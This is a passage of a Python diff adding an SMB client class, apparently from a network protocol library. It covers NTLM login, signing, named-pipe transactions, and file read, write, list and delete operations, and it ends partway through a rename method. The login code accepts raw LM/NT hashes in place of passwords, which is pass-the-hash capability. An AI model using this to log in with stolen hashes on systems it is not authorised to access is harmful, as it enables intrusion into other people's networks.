+                       self.__server_name = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
+                   except UnicodeDecodeError:
+                       # For some reason, we couldn't decode Unicode here.. silently discard the operation
+                       pass
+                if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:
+                   try:
+                       if self.__server_name != av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'):
+                           self.__server_domain = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')
+                   except UnicodeDecodeError:
+                       # For some reason, we couldn't decode Unicode here.. silently discard the operation
+                       pass
+                if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
+                   try:
+                       self.__server_dns_domain_name = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')
+                   except UnicodeDecodeError:
+                       # For some reason, we couldn't decode Unicode here.. silently discard the operation
+                       pass
+
+                if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
+                   try:
+                       self.__server_dns_host_name = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le')
+                   except UnicodeDecodeError:
+                       # For some reason, we couldn't decode Unicode here.. silently discard the operation
+                       pass
+
+            if self._strict_hostname_validation:
+                self.perform_hostname_validation()
+
+            # Parse Version to know the target Operating system name. Not provided elsewhere anymore
+            if 'Version' in ntlmChallenge.fields:
+                version = ntlmChallenge['Version']
+
+                if len(version) >= 4:
+                   self.__server_os_major, self.__server_os_minor, self.__server_os_build = unpack('<BBH',version[:4])
+
+            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, respToken['ResponseToken'], user, password, domain, lmhash, nthash, use_ntlmv2 = use_ntlmv2)
+
+            if exportedSessionKey is not None:
+                self._SigningSessionKey = exportedSessionKey
+
+            smb = NewSMBPacket()
+
+            # Are we required to sign SMB? If so we do it, if not we skip it
+            if self._SignatureRequired:
+               smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
+
+            respToken2 = SPNEGO_NegTokenResp()
+            respToken2['ResponseToken'] = type3.getData()
+
+            # Reusing the previous structure
+            sessionSetup['Parameters']['SecurityBlobLength'] = len(respToken2)
+            sessionSetup['Data']['SecurityBlob'] = respToken2.getData()
+
+            # Storing some info for later use
+            self.__server_os     = sessionData['NativeOS']
+            self.__server_lanman = sessionData['NativeLanMan']
+
+            smb.addCommand(sessionSetup)
+            self.sendSMB(smb)
+
+            smb = self.recvSMB()
+            self._uid = 0
+            if smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):
+                self._uid = smb['Uid']
+                sessionResponse   = SMBCommand(smb['Data'][0])
+                sessionParameters = SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters'])
+
+                self._action = sessionParameters['Action']
+                # If smb sign required, let's enable it for the rest of the connection
+                if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_REQUIRED:
+                   self._SignSequenceNumber = 2
+                   self._SignatureEnabled = True
+
+                # restore unicode flag if needed
+                if flags2 & SMB.FLAGS2_UNICODE:
+                    self.__flags2 |= SMB.FLAGS2_UNICODE
+
+                return 1
+        else:
+            raise Exception('Error: Could not login successfully')
+
+    def getCredentials(self):
+        return (
+            self.__userName,
+            self.__password,
+            self.__domain,
+            self.__lmhash,
+            self.__nthash,
+            self.__aesKey,
+            self.__TGT,
+            self.__TGS)
+
+    def getIOCapabilities(self):
+        res = dict()
+        if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_READX) and self._SignatureEnabled is False:
+            max_size = 65000
+        else:
+            max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks
+        res['MaxReadSize'] = max_size
+        res['MaxWriteSize'] = max_size
+        return res
+
+    def login(self, user, password, domain = '', lmhash = '', nthash = '', ntlm_fallback = True):
+
+        # If we have hashes, normalize them
+        if lmhash != '' or nthash != '':
+            if len(lmhash) % 2:
+                lmhash = '0%s' % lmhash
+            if len(nthash) % 2:
+                nthash = '0%s' % nthash
+            try: # just in case they were converted already
+                lmhash = a2b_hex(lmhash)
+                nthash = a2b_hex(nthash)
+            except:
+                pass
+
+        self.__userName = user
+        self.__password = password
+        self.__domain   = domain
+        self.__lmhash   = lmhash
+        self.__nthash   = nthash
+        self.__aesKey   = ''
+        self.__TGT      = None
+        self.__TGS      = None
+
+        if self._dialects_parameters['Capabilities'] & SMB.CAP_EXTENDED_SECURITY:
+            try:
+                self.login_extended(user, password, domain, lmhash, nthash, use_ntlmv2 = True)
+            except:
+                # If the target OS is Windows 5.0 or Samba, let's try using NTLMv1
+                if ntlm_fallback and ((self.get_server_lanman().find('Windows 2000') != -1) or (self.get_server_lanman().find('Samba') != -1)):
+                    self.login_extended(user, password, domain, lmhash, nthash, use_ntlmv2 = False)
+                    self.__isNTLMv2 = False
+                else:
+                    raise
+        elif ntlm_fallback:
+            self.login_standard(user, password, domain, lmhash, nthash)
+            self.__isNTLMv2 = False
+        else:
+            raise SessionError('Cannot authenticate against target, enable ntlm_fallback')
+
+    def login_standard(self, user, password, domain = '', lmhash = '', nthash = ''):
+
+        # login feature does not support unicode
+        # disable it if enabled
+        flags2 = self.__flags2
+        if flags2 & SMB.FLAGS2_UNICODE:
+            self.__flags2 = flags2 & (flags2 ^ SMB.FLAGS2_UNICODE)
+
+        # Only supports NTLMv1
+        # Password is only encrypted if the server passed us an "encryption key" during protocol dialect negotiation
+        if self._dialects_parameters['ChallengeLength'] > 0:
+            if lmhash != '' or nthash != '':
+               pwd_ansi = self.get_ntlmv1_response(lmhash)
+               pwd_unicode = self.get_ntlmv1_response(nthash)
+            elif password:
+               lmhash = ntlm.compute_lmhash(password)
+               nthash = ntlm.compute_nthash(password)
+               pwd_ansi = self.get_ntlmv1_response(lmhash)
+               pwd_unicode = self.get_ntlmv1_response(nthash)
+            else: # NULL SESSION
+               pwd_ansi = ''
+               pwd_unicode = ''
+        else:
+            pwd_ansi = password
+            pwd_unicode = ''
+
+        smb = NewSMBPacket()
+
+        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
+        sessionSetup['Data']       = SMBSessionSetupAndX_Data()
+
+        sessionSetup['Parameters']['MaxBuffer']        = 61440
+        sessionSetup['Parameters']['MaxMpxCount']      = 2
+        sessionSetup['Parameters']['VCNumber']         = os.getpid() & 0xFFFF # Value has to be expressed in 2 bytes
+        sessionSetup['Parameters']['SessionKey']       = self._dialects_parameters['SessionKey']
+        sessionSetup['Parameters']['AnsiPwdLength']    = len(pwd_ansi)
+        sessionSetup['Parameters']['UnicodePwdLength'] = len(pwd_unicode)
+        sessionSetup['Parameters']['Capabilities']     = SMB.CAP_RAW_MODE | SMB.CAP_USE_NT_ERRORS | SMB.CAP_LARGE_READX | SMB.CAP_LARGE_WRITEX
+
+        sessionSetup['Data']['AnsiPwd']       = pwd_ansi
+        sessionSetup['Data']['UnicodePwd']    = pwd_unicode
+        sessionSetup['Data']['Account']       = str(user)
+        sessionSetup['Data']['PrimaryDomain'] = str(domain)
+        sessionSetup['Data']['NativeOS']      = str(os.name)
+        sessionSetup['Data']['NativeLanMan']  = 'pysmb'
+        smb.addCommand(sessionSetup)
+
+        self.sendSMB(smb)
+
+        smb = self.recvSMB()
+        if smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):
+            # We will need to use this uid field for all future requests/responses
+            self._uid = smb['Uid']
+            sessionResponse   = SMBCommand(smb['Data'][0])
+            sessionParameters = SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters'])
+            sessionData       = SMBSessionSetupAndXResponse_Data(flags = smb['Flags2'], data = sessionResponse['Data'])
+
+            self._action = sessionParameters['Action']
+
+            # Still gotta figure out how to do this with no EXTENDED_SECURITY
+            if sessionParameters['Action'] & SMB_SETUP_USE_LANMAN_KEY == 0:
+                 self._SigningChallengeResponse = sessionSetup['Data']['UnicodePwd']
+                 self._SigningSessionKey = nthash
+            else:
+                 self._SigningChallengeResponse = sessionSetup['Data']['AnsiPwd']
+                 self._SigningSessionKey = lmhash
+
+            #self._SignSequenceNumber = 1
+            #self.checkSignSMB(smb, self._SigningSessionKey ,self._SigningChallengeResponse)
+            #self._SignatureEnabled = True
+            self.__server_os     = sessionData['NativeOS']
+            self.__server_lanman = sessionData['NativeLanMan']
+            self.__server_domain = sessionData['PrimaryDomain']
+
+            # restore unicode flag if needed
+            if flags2 & SMB.FLAGS2_UNICODE:
+                self.__flags2 |= SMB.FLAGS2_UNICODE
+
+            return 1
+        else:
+            raise Exception('Error: Could not login successfully')
+
+    def waitNamedPipe(self, tid, pipe, timeout = 5, noAnswer = 0):
+        smb = NewSMBPacket()
+        smb['Tid']    = tid
+
+        transCommand = SMBCommand(SMB.SMB_COM_TRANSACTION)
+        transCommand['Parameters'] = SMBTransaction_Parameters()
+        transCommand['Data'] = SMBTransaction_Data()
+
+        setup = '\x53\x00\x00\x00'
+        name = '\\PIPE%s\x00' % pipe
+        transCommand['Parameters']['Setup'] = setup
+        transCommand['Parameters']['TotalParameterCount'] = 0
+        transCommand['Parameters']['TotalDataCount'] = 0
+        transCommand['Parameters']['MaxParameterCount'] = 0
+        transCommand['Parameters']['MaxDataCount'] = 0
+        transCommand['Parameters']['Timeout'] = timeout * 1000
+
+        transCommand['Parameters']['ParameterCount'] = 0
+        transCommand['Parameters']['ParameterOffset'] = 32+3+28+len(setup)+len(name)
+
+        transCommand['Parameters']['DataCount'] = 0
+        transCommand['Parameters']['DataOffset'] = 0
+
+        transCommand['Data']['Name'] = name
+        transCommand['Data']['Trans_Parameters'] = ''
+        transCommand['Data']['Trans_Data'] = ''
+
+        if noAnswer:
+           transCommand['Parameters']['Flags'] = TRANS_NO_RESPONSE
+
+        smb.addCommand(transCommand)
+        self.sendSMB(smb)
+
+        smb = self.recvSMB()
+        if smb.isValidAnswer(SMB.SMB_COM_TRANSACTION):
+           return 1
+        return 0
+
+    def read(self, tid, fid, offset=0, max_size = None, wait_answer=1):
+        if not max_size:
+            max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks
+
+        # max_size is not working, because although it would, the server returns an error (More data avail)
+
+        smb = NewSMBPacket()
+        smb['Tid']    = tid
+
+        read = SMBCommand(SMB.SMB_COM_READ)
+        read['Parameters'] = SMBRead_Parameters()
+        read['Parameters']['Fid'] = fid
+        read['Parameters']['Offset'] = offset
+        read['Parameters']['Count'] = max_size
+        smb.addCommand(read)
+
+        if wait_answer:
+            while 1:
+                self.sendSMB(smb)
+                ans = self.recvSMB()
+
+                if ans.isValidAnswer(SMB.SMB_COM_READ):
+                    readResponse   = SMBCommand(ans['Data'][0])
+                    readData       = SMBReadResponse_Data(readResponse['Data'])
+
+                    return readData['Data']
+
+        return None
+
+    def read_andx(self, tid, fid, offset=0, max_size = None, wait_answer=1, smb_packet=None):
+        if not max_size:
+            if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_READX) and self._SignatureEnabled is False:
+                max_size = 65000
+            else:
+                max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks
+
+        # max_size is not working, because although it would, the server returns an error (More data avail)
+
+        if smb_packet is None:
+            smb = NewSMBPacket()
+            smb['Tid']    = tid
+
+            readAndX = SMBCommand(SMB.SMB_COM_READ_ANDX)
+            readAndX['Parameters'] = SMBReadAndX_Parameters()
+            readAndX['Parameters']['Fid'] = fid
+            readAndX['Parameters']['Offset'] = offset
+            readAndX['Parameters']['MaxCount'] = max_size
+            smb.addCommand(readAndX)
+        else:
+            smb = smb_packet
+
+        if wait_answer:
+            answer = b''
+            while 1:
+                self.sendSMB(smb)
+                ans = self.recvSMB()
+
+                if ans.isValidAnswer(SMB.SMB_COM_READ_ANDX):
+                    # XXX Here we are only using a few fields from the response
+                    readAndXResponse   = SMBCommand(ans['Data'][0])
+                    readAndXParameters = SMBReadAndXResponse_Parameters(readAndXResponse['Parameters'])
+
+                    offset = readAndXParameters['DataOffset']
+                    count = readAndXParameters['DataCount']+0x10000*readAndXParameters['DataCount_Hi']
+                    answer += ans.getData()[offset:offset+count]
+                    if not ans.isMoreData():
+                        return answer
+                    max_size = min(max_size, readAndXParameters['Remaining'])
+                    readAndX['Parameters']['Offset'] += count                      # XXX Offset is not important (apparently)
+        else:
+            self.sendSMB(smb)
+            ans = self.recvSMB()
+
+            try:
+                if ans.isValidAnswer(SMB.SMB_COM_READ_ANDX):
+                    return ans
+                else:
+                    return None
+            except:
+                return ans
+
+        return None
+
+    def read_raw(self, tid, fid, offset=0, max_size = None, wait_answer=1):
+        if not max_size:
+            max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks
+
+        # max_size is not working, because although it would, the server returns an error (More data avail)
+        smb = NewSMBPacket()
+        smb['Tid']    = tid
+
+        readRaw = SMBCommand(SMB.SMB_COM_READ_RAW)
+        readRaw['Parameters'] = SMBReadRaw_Parameters()
+        readRaw['Parameters']['Fid'] = fid
+        readRaw['Parameters']['Offset'] = offset
+        readRaw['Parameters']['MaxCount'] = max_size
+        smb.addCommand(readRaw)
+
+        self.sendSMB(smb)
+        if wait_answer:
+            data = self._sess.recv_packet(self.__timeout).get_trailer()
+            if not data:
+                # If there is no data it means there was an error
+                data = self.read_andx(tid, fid, offset, max_size)
+            return data
+
+        return None
+
+    def write(self,tid,fid,data, offset = 0, wait_answer=1):
+        smb = NewSMBPacket()
+        smb['Tid']    = tid
+
+        write = SMBCommand(SMB.SMB_COM_WRITE)
+        write['Parameters'] = SMBWrite_Parameters()
+        write['Data'] = SMBWrite_Data()
+        write['Parameters']['Fid'] = fid
+        write['Parameters']['Count'] = len(data)
+        write['Parameters']['Offset'] = offset
+        write['Parameters']['Remaining'] = len(data)
+        write['Data']['Data'] = data
+        smb.addCommand(write)
+
+        self.sendSMB(smb)
+
+        if wait_answer:
+            smb = self.recvSMB()
+            if smb.isValidAnswer(SMB.SMB_COM_WRITE):
+                return smb
+        return None
+
+    def write_andx(self,tid,fid,data, offset = 0, wait_answer=1, write_pipe_mode = False, smb_packet=None):
+        if smb_packet is None:
+            smb = NewSMBPacket()
+            smb['Tid']    = tid
+
+            writeAndX = SMBCommand(SMB.SMB_COM_WRITE_ANDX)
+            smb.addCommand(writeAndX)
+
+            writeAndX['Parameters'] = SMBWriteAndX_Parameters()
+            writeAndX['Parameters']['Fid'] = fid
+            writeAndX['Parameters']['Offset'] = offset
+            writeAndX['Parameters']['WriteMode'] = 8
+            writeAndX['Parameters']['Remaining'] = len(data)
+            writeAndX['Parameters']['DataLength'] = len(data)
+            writeAndX['Parameters']['DataOffset'] = len(smb)    # this length already includes the parameter
+            writeAndX['Data'] = data
+
+            if write_pipe_mode is True:
+                # First of all we gotta know what the MaxBuffSize is
+                maxBuffSize = self._dialects_parameters['MaxBufferSize']
+                if len(data) > maxBuffSize:
+                    chunks_size = maxBuffSize - 60
+                    writeAndX['Parameters']['WriteMode'] = 0x0c
+                    sendData = b'\xff\xff' + data
+                    totalLen = len(sendData)
+                    writeAndX['Parameters']['DataLength'] = chunks_size
+                    writeAndX['Parameters']['Remaining'] = totalLen-2
+                    writeAndX['Data'] = sendData[:chunks_size]
+
+                    self.sendSMB(smb)
+                    if wait_answer:
+                        smbResp = self.recvSMB()
+                        smbResp.isValidAnswer(SMB.SMB_COM_WRITE_ANDX)
+
+                    alreadySent = chunks_size
+                    sendData = sendData[chunks_size:]
+
+                    while alreadySent < totalLen:
+                        writeAndX['Parameters']['WriteMode'] = 0x04
+                        writeAndX['Parameters']['DataLength'] = len(sendData[:chunks_size])
+                        writeAndX['Data'] = sendData[:chunks_size]
+                        self.sendSMB(smb)
+                        if wait_answer:
+                            smbResp = self.recvSMB()
+                            smbResp.isValidAnswer(SMB.SMB_COM_WRITE_ANDX)
+                        alreadySent += writeAndX['Parameters']['DataLength']
+                        sendData = sendData[chunks_size:]
+
+                    return smbResp
+
+        else:
+            smb = smb_packet
+
+        self.sendSMB(smb)
+
+        if wait_answer:
+            smb = self.recvSMB()
+            if smb.isValidAnswer(SMB.SMB_COM_WRITE_ANDX):
+                return smb
+        return None
+
+    def write_raw(self,tid,fid,data, offset = 0, wait_answer=1):
+        LOG.warning("[MS-CIFS] This command was introduced in the CorePlus dialect, but is often listed as part of the LAN Manager 1.0 dialect.This command has been deprecated.Clients SHOULD use SMB_COM_WRITE_ANDX")
+        smb = NewSMBPacket()
+        smb['Tid']    = tid
+
+        writeRaw = SMBCommand(SMB.SMB_COM_WRITE_RAW)
+        writeRaw['Parameters'] = SMBWriteRaw_Parameters()
+        writeRaw['Parameters']['Fid'] = fid
+        writeRaw['Parameters']['Offset'] = offset
+        writeRaw['Parameters']['Count'] = len(data)
+        writeRaw['Parameters']['DataLength'] = 0
+        writeRaw['Parameters']['DataOffset'] = 0
+        smb.addCommand(writeRaw)
+
+        self.sendSMB(smb)
+        self._sess.send_packet(data)
+
+        if wait_answer:
+            smb = self.recvSMB()
+            if smb.isValidAnswer(SMB.SMB_COM_WRITE_RAW):
+                return smb
+        return None
+
+    def TransactNamedPipe(self, tid, fid, data = '', noAnswer = 0, waitAnswer = 1, offset = 0):
+        self.send_trans(tid,pack('<HH', 0x26, fid),'\\PIPE\\\x00','',data, noAnswer = noAnswer)
+
+        if noAnswer or not waitAnswer:
+            return
+        smb = self.recvSMB()
+        if smb.isValidAnswer(SMB.SMB_COM_TRANSACTION):
+           transResponse = SMBCommand(smb['Data'][0])
+           transParameters = SMBTransactionResponse_Parameters(transResponse['Parameters'])
+           return transResponse['Data'][-transParameters['TotalDataCount']:] # Remove Potential Prefix Padding
+        return None
+
+    def TransactNamedPipeRecv(self):
+        s = self.recvSMB()
+        if s.isValidAnswer(SMB.SMB_COM_TRANSACTION):
+           transResponse = SMBCommand(s['Data'][0])
+           transParameters = SMBTransactionResponse_Parameters(transResponse['Parameters'])
+           return transResponse['Data'][-transParameters['TotalDataCount']:] # Remove Potential Prefix Padding
+        return None
+
+    def nt_create_andx(self,tid,filename, smb_packet=None, cmd = None, shareAccessMode = FILE_SHARE_READ | FILE_SHARE_WRITE, disposition = FILE_OPEN, accessMask = 0x2019f):
+        filename = filename.replace('/', '\\')
+        filename = filename.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else filename
+
+        if smb_packet is None:
+            smb = NewSMBPacket()
+            smb['Tid']    = tid
+        else:
+            smb = smb_packet
+
+        if cmd is None:
+            ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
+            ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
+            ntCreate['Data']       = SMBNtCreateAndX_Data(flags=self.__flags2)
+            ntCreate['Parameters']['FileNameLength'] = len(filename)
+            ntCreate['Parameters']['CreateFlags'] = 0x16
+            ntCreate['Parameters']['AccessMask'] = accessMask
+            ntCreate['Parameters']['CreateOptions'] = 0x40
+            ntCreate['Parameters']['ShareAccess'] = shareAccessMode
+            ntCreate['Parameters']['Disposition'] = disposition
+            ntCreate['Data']['FileName'] = filename
+
+            if self.__flags2 & SMB.FLAGS2_UNICODE:
+                ntCreate['Data']['Pad'] = 0x0
+        else:
+            ntCreate = cmd
+
+        smb.addCommand(ntCreate)
+
+        self.sendSMB(smb)
+
+        while 1:
+            smb = self.recvSMB()
+            if smb.isValidAnswer(SMB.SMB_COM_NT_CREATE_ANDX):
+                # XXX Here we are ignoring the rest of the response
+                ntCreateResponse   = SMBCommand(smb['Data'][0])
+                ntCreateParameters = SMBNtCreateAndXResponse_Parameters(ntCreateResponse['Parameters'])
+
+                self.fid = ntCreateParameters['Fid']
+                return ntCreateParameters['Fid']
+
+    def logoff(self):
+        smb = NewSMBPacket()
+
+        logOff = SMBCommand(SMB.SMB_COM_LOGOFF_ANDX)
+        logOff['Parameters'] = SMBLogOffAndX()
+        smb.addCommand(logOff)
+
+        self.sendSMB(smb)
+        self.recvSMB()
+        # Let's clear some fields so you can login again under the same session
+        self._uid = 0
+
+    def list_path(self, service, path = '*', password = None):
+        path = path.replace('/', '\\')
+        path = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path
+
+        tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
+        try:
+            findFirstParameter = SMBFindFirst2_Parameters(self.__flags2)
+            findFirstParameter['SearchAttributes'] = SMB_FILE_ATTRIBUTE_DIRECTORY | SMB_FILE_ATTRIBUTE_HIDDEN | \
+                                                     SMB_FILE_ATTRIBUTE_SYSTEM | SMB_FILE_ATTRIBUTE_READONLY | \
+                                                     SMB_FILE_ATTRIBUTE_ARCHIVE
+            findFirstParameter['SearchCount'] = 512
+            findFirstParameter['Flags'] = SMB_FIND_RETURN_RESUME_KEYS | SMB_FIND_CLOSE_AT_EOS
+            findFirstParameter['InformationLevel'] = SMB_FIND_FILE_BOTH_DIRECTORY_INFO
+            findFirstParameter['SearchStorageType'] = 0
+            if self.__flags2 & SMB.FLAGS2_UNICODE:
+                findFirstParameter['FileName'] = path + b'\x00\x00'
+            else:
+                findFirstParameter['FileName'] = path + '\x00'
+            self.send_trans2(tid, SMB.TRANS2_FIND_FIRST2, '\x00', findFirstParameter, '')
+            files = [ ]
+
+            totalDataCount = 1
+            findData = b''
+            findFirst2ParameterBlock = b''
+            while len(findData) < totalDataCount:
+                resp = self.recvSMB()
+
+                if resp.isValidAnswer(SMB.SMB_COM_TRANSACTION2):
+                    trans2Response = SMBCommand(resp['Data'][0])
+                    trans2Parameters = SMBTransaction2Response_Parameters(trans2Response['Parameters'])
+                    totalDataCount = trans2Parameters['TotalDataCount']
+                    findFirst2ParameterBlock += trans2Response['Data'][trans2Parameters['ParameterOffset']-55:][:trans2Parameters['ParameterCount']]
+                    findData += trans2Response['Data'][trans2Parameters['DataOffset']-55:]
+
+            findParameterBlock = SMBFindFirst2Response_Parameters(findFirst2ParameterBlock)
+            # Save the SID for resume operations
+            sid = findParameterBlock['SID']
+
+            while findParameterBlock['SearchCount'] > 0:
+                record = SMBFindFileBothDirectoryInfo(data = findData)
+
+                shortname = record['ShortName'].decode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else \
+                                                                        record['ShortName'].decode('cp437')
+                filename = record['FileName'].decode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else \
+                                                                        record['FileName'].decode('cp437')
+
+                fileRecord = SharedFile(record['CreationTime'], record['LastAccessTime'], record['LastChangeTime'],
+                                  record['EndOfFile'], record['AllocationSize'], record['ExtFileAttributes'],
+                                  shortname, filename)
+                files.append(fileRecord)
+                if record['NextEntryOffset'] > 0 and len(findData[record['NextEntryOffset']:]) > 0:
+                    findData = findData[record['NextEntryOffset']:]
+                else:
+                    # More data to search?
+                    if findParameterBlock['EndOfSearch'] == 0:
+                        resume_filename = record['FileName']
+                        findNextParameter = SMBFindNext2_Parameters()
+                        findNextParameter['SID'] = sid
+                        findNextParameter['SearchCount'] = 1024
+                        findNextParameter['InformationLevel'] = SMB_FIND_FILE_BOTH_DIRECTORY_INFO
+                        findNextParameter['ResumeKey'] = 0
+                        findNextParameter['Flags'] = SMB_FIND_RETURN_RESUME_KEYS | SMB_FIND_CLOSE_AT_EOS
+                        if self.__flags2 & SMB.FLAGS2_UNICODE:
+                            findNextParameter['FileName'] = resume_filename + b'\x00\x00'
+                        else:
+                            findNextParameter['FileName'] = resume_filename + b'\x00'
+                        self.send_trans2(tid, SMB.TRANS2_FIND_NEXT2, '\x00', findNextParameter, '')
+                        findData = b''
+                        findNext2ParameterBlock = b''
+                        totalDataCount = 1
+                        while len(findData) < totalDataCount:
+                            resp = self.recvSMB()
+
+                            if resp.isValidAnswer(SMB.SMB_COM_TRANSACTION2):
+                                trans2Response = SMBCommand(resp['Data'][0])
+                                trans2Parameters = SMBTransaction2Response_Parameters(trans2Response['Parameters'])
+                                totalDataCount = trans2Parameters['TotalDataCount']
+                                findNext2ParameterBlock += trans2Response['Data'][trans2Parameters['ParameterOffset']-55:][:trans2Parameters['ParameterCount']]
+                                findData += trans2Response['Data'][trans2Parameters['DataOffset']-55:]
+                                findParameterBlock = SMBFindNext2Response_Parameters(findNext2ParameterBlock)
+                    else:
+                       break
+        finally:
+            self.disconnect_tree(tid)
+
+        return files
+
+    def retr_file(self, service, filename, callback, mode = FILE_OPEN, offset = 0, password = None, shareAccessMode = SMB_ACCESS_READ):
+        filename = filename.replace('/', '\\')
+
+        fid = -1
+        tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
+        try:
+            fid = self.nt_create_andx(tid, filename, shareAccessMode = shareAccessMode, accessMask = 0x20089)
+
+            res = self.query_file_info(tid, fid)
+            datasize = SMBQueryFileStandardInfo(res)['EndOfFile']
+
+            self.__nonraw_retr_file(tid, fid, offset, datasize, callback)
+        finally:
+            if fid >= 0:
+                self.close(tid, fid)
+            self.disconnect_tree(tid)
+
+    def stor_file(self, service, filename, callback, mode = FILE_OVERWRITE_IF, offset = 0, password = None, shareAccessMode = SMB_ACCESS_WRITE):
+        filename = filename.replace('/', '\\')
+
+        fid = -1
+        tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
+        try:
+            fid = self.nt_create_andx(tid, filename, shareAccessMode = shareAccessMode, disposition = mode )
+
+            self.__nonraw_stor_file(tid, fid, offset, 0, callback)
+        finally:
+            if fid >= 0:
+                self.close(tid, fid)
+            self.disconnect_tree(tid)
+
+    def stor_file_nonraw(self, service, filename, callback, mode = FILE_OVERWRITE_IF, offset = 0, password = None, shareAccessMode = SMB_ACCESS_WRITE ):
+        filename = filename.replace('/', '\\')
+
+        fid = -1
+        tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
+        try:
+            fid = self.nt_create_andx(tid, filename, shareAccessMode = shareAccessMode, disposition = mode)
+            self.__nonraw_stor_file(tid, fid, offset, 0, callback)
+        finally:
+            if fid >= 0:
+                self.close(tid, fid)
+            self.disconnect_tree(tid)
+
+    def check_dir(self, service, path, password = None):
+        path = path.replace('/', '\\')
+        tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
+        try:
+            smb = NewSMBPacket()
+            smb['Tid'] = tid
+            smb['Mid'] = 0
+
+            cmd = SMBCommand(SMB.SMB_COM_CHECK_DIRECTORY)
+            cmd['Parameters'] = ''
+            cmd['Data'] = SMBCheckDirectory_Data(flags = self.__flags2)
+            cmd['Data']['DirectoryName'] = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path
+            smb.addCommand(cmd)
+
+            self.sendSMB(smb)
+
+            while 1:
+                s = self.recvSMB()
+                if s.isValidAnswer(SMB.SMB_COM_CHECK_DIRECTORY):
+                    return
+        finally:
+            self.disconnect_tree(tid)
+
+    def remove(self, service, path, password = None):
+        path = path.replace('/', '\\')
+        # Perform a list to ensure the path exists
+        self.list_path(service, path, password)
+
+        tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
+        try:
+            smb = NewSMBPacket()
+            smb['Tid'] = tid
+            smb['Mid'] = 0
+
+            cmd = SMBCommand(SMB.SMB_COM_DELETE)
+            cmd['Parameters'] = SMBDelete_Parameters()
+            cmd['Parameters']['SearchAttributes'] = ATTR_HIDDEN | ATTR_SYSTEM | ATTR_ARCHIVE
+            cmd['Data'] = SMBDelete_Data(flags = self.__flags2)
+            cmd['Data']['FileName'] = (path + '\x00').encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else (path + '\x00')
+            smb.addCommand(cmd)
+
+            self.sendSMB(smb)
+
+            while 1:
+                s = self.recvSMB()
+                if s.isValidAnswer(SMB.SMB_COM_DELETE):
+                    return
+        finally:
+            self.disconnect_tree(tid)
+
+    def rmdir(self, service, path, password = None):
+        path = path.replace('/', '\\')
+        # Check that the directory exists
+        self.check_dir(service, path, password)
+
+        tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
+        try:
+            path = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path
+
+            smb = NewSMBPacket()
+            smb['Tid'] = tid
+            createDir = SMBCommand(SMB.SMB_COM_DELETE_DIRECTORY)
+            createDir['Data'] = SMBDeleteDirectory_Data(flags=self.__flags2)
+            createDir['Data']['DirectoryName'] = path
+            smb.addCommand(createDir)
+
+            self.sendSMB(smb)
+
+            while 1:
+                s = self.recvSMB()
+                if s.isValidAnswer(SMB.SMB_COM_DELETE_DIRECTORY):
+                    return
+        finally:
+            self.disconnect_tree(tid)
+
+    def mkdir(self, service, path, password = None):
+        path = path.replace('/', '\\')
+        tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
+        try:
+            path = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path
+
+            smb = NewSMBPacket()
+            smb['Tid'] = tid
+            smb['Mid'] = 0
+
+            createDir = SMBCommand(SMB.SMB_COM_CREATE_DIRECTORY)
+            createDir['Data'] = SMBCreateDirectory_Data(flags=self.__flags2)
+            createDir['Data']['DirectoryName'] = path
+            smb.addCommand(createDir)
+
+            self.sendSMB(smb)
+
+            smb = self.recvSMB()
+            if smb.isValidAnswer(SMB.SMB_COM_CREATE_DIRECTORY):
+                return 1
+            return 0
+        finally:
+            self.disconnect_tree(tid)
+
+    def rename(self, service, old_path, new_path, password = None):
+        old_path = old_path.replace('/', '\\')
+        new_path = new_path.replace('/', '\\')
+        tid = self.tree_connect_andx('\\\\' + self.__remote_name + '\\' + service, password)
+        try:
+            smb = NewSMBPacket()
+            smb['Tid'] = tid
+            smb['Mid'] = 0
+
+            renameCmd = SMBCommand(SMB.SMB_COM_RENAME)
+            renameCmd['Parameters'] = SMBRename_Parameters()
